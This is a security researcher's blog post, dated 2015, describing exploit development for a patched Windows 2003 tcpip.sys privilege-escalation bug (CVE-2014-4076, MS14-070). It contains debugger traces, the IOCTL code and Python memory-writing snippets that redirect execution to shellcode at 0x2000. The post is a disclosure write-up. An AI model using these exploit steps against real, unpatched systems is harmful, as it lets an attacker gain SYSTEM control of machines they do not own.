Windows 2003 Privilege Escalation via tcpip.sys | 2015-01-28 22:00 |
In my post for today, I will be discussing a vulnerability that I found within the TCP/IP driver as implemented by Microsoft within their Windows 2003 Operating System with Service Pack 2 installed (advisory here). If an attacker has obtained unprivileged access into the operating system, this vulnerability may be used to elevate their privilege to that of SYSTEM. This is accomplished by abusing a null near pointer dereference within code that runs during the processing of a specific unprivileged IOCTL call.
This vulnerability was issued identifiers: KL-001-2015-001, MS14-070, and CVE-2014-4076.
In order to avoid duplicating content from the advisory issued for this vulnerability, I will only provide a brief tl;dr before diving into the exploit.
By using nt!NtDeviceIoControlFile() it is possible to leverage a handle into the Tcp device along with the IOCTL code 0x00120028 and specific inputBuffer to trigger a near null pointer dereference within the extended stack index register. This register is used as a pointer to memory containing a dword that is used to determine the code path to be taken. This can be abused through a combination of reverse engineering (in order to understand what values have what effect on code flow) and attacker memory allocation near null.
In this post, I will discuss in detail the methodology leveraged during exploit development. I would like to note that Microsoft has confirmed this vulnerability exists on both x86, x64, and Itanium architectures. I will only focus on the x86 architecture in this post.
The original crash that led to the exploitation of this vulnerability was found as such:
ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=????????
The ???????? indicates that the memory being reference is not allocated and therefore can not be copied from. The ESI register contains 0x00000000, a value that is user-controlled during the IOCTL call. By modifying that value, it is possible for an attacker to control memory used during decisions by the driver relating to code flow. This allows an attacker to influence those decisions in a way that benefits him. Let's review some of what that looks like.
kd> p tcpip!SetAddrOptions+0x2b: ba9fca65 f6c340 test bl,40h kd> p tcpip!SetAddrOptions+0x2e: ba9fca68 7567 jne tcpip!SetAddrOptions+0x9e (ba9fcad1) kd> p tcpip!SetAddrOptions+0x30: ba9fca6a 66837e3800 cmp word ptr [esi+38h],0 kd> p tcpip!SetAddrOptions+0x35: ba9fca6f 7560 jne tcpip!SetAddrOptions+0x9e (ba9fcad1) kd> r;p
The BL register contains the last byte in a dword value obtained from ESI+28, or 0x00000028. No problems there, we'll just write any four-byte value we like there. In my exploit, I ended up with the following:
ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0)))
Only the first and last bytes are really needed to accomplish exploitation. I did not go any further to figure out the meaning of the inner two bytes.
The last byte is tested first using this instruction:
test bl, 40h
Basically, this becomes a bitwise AND (i.e., 0x38 & 0x40). The second test is then encountered. This test determines whether the word pointer at 0x00000038 is 0x0000 or not. Since this also falls within range of memory that I can write to, my exploit does the following:
ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0)))
So far so good, this gets me to a code block that makes a call into tcpip!IsBlockingAOOption.
kd> p tcpip!SetAddrOptions+0x37: ba9fca71 ff75f8 push dword ptr [ebp-8] ss:0010:b9c5db78=00000200 kd> p tcpip!SetAddrOptions+0x3a: ba9fca74 ff750c push dword ptr [ebp+0Ch] ss:0010:b9c5db8c=00000022 kd> p tcpip!SetAddrOptions+0x3d: ba9fca77 e8f588ffff call tcpip!IsBlockingAOOption (ba9f5371) kd> p tcpip!SetAddrOptions+03e: ba9d4a7c 84c0 test al,al
This code does a bitwise AND operation on the AL register. The value of the AL register is set as a result of the call to tcpip!IsBlockingAOOption. This code leverages the EAX register, which also becomes tainted with a null value earlier on in the code flow.
From here, we can release code flow until the instruction pointer is dereferenced.
eax=00000010 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=baa07ee2 esp=b9b12b48 ebp=b9b12b60 iopl=0 nv up ei ng nz na pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000287 tcpip!ProcessAORequests+0x144: baa07ee2 8b86ec000000 mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000 kd> p ... eax=00000000 ebx=80a58290 ecx=00000008 edx=00000000 esi=00000000 edi=00000000 eip=baa07ef3 esp=b9b12b48 ebp=b9b12b60 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 tcpip!ProcessAORequests+0x155: baa07ef3 8945f4 mov dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3 kd> p ... kd> db [ebp-0c] L?0x4 b9b12b54 00 00 00 00 .... kd> r;p eax=00000000 ebx=80a58290 ecx=00000002 edx=00000000 esi=00000000 edi=00000000 eip=baa07efa esp=b9b12b40 ebp=b9b12b60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246 tcpip!ProcessAORequests+0x15c: baa07efa ff55f4 call dword ptr [ebp-0Ch] ss:0010:b9b12b54=00000000 Illegal instruction - code c000001d (!!! second chance !!!) 0000002a ff ???
tl;dr
mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000 mov dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3 call dword ptr [ebp-0Ch] ss:0010:b9b12b54=00000000
Now, we need to get the pointer landing somewhere nice and put some fun shellcode to be executed.
ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
Writing 0x0000 at 0x2b will change the EIP value to 0x2000, we can then have our shellcode waiting at 0x2000. An alternative to this, would be to write a dword pointer to your shellcode at 0x000000ec. Both cases act as a trampoline into the shellcode.
Then, an attacker only needs to issue the following call:
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)
A metasploit module to leverage this vulnerability has been released by another member of our team along with this blog post; pull request here. In the meantime, exploit code written in Python can be found in the advisory we published.
Cheers, Matt
0 comments | Posted by Matt at: 22:00 permalink |
Comments are closed for this story.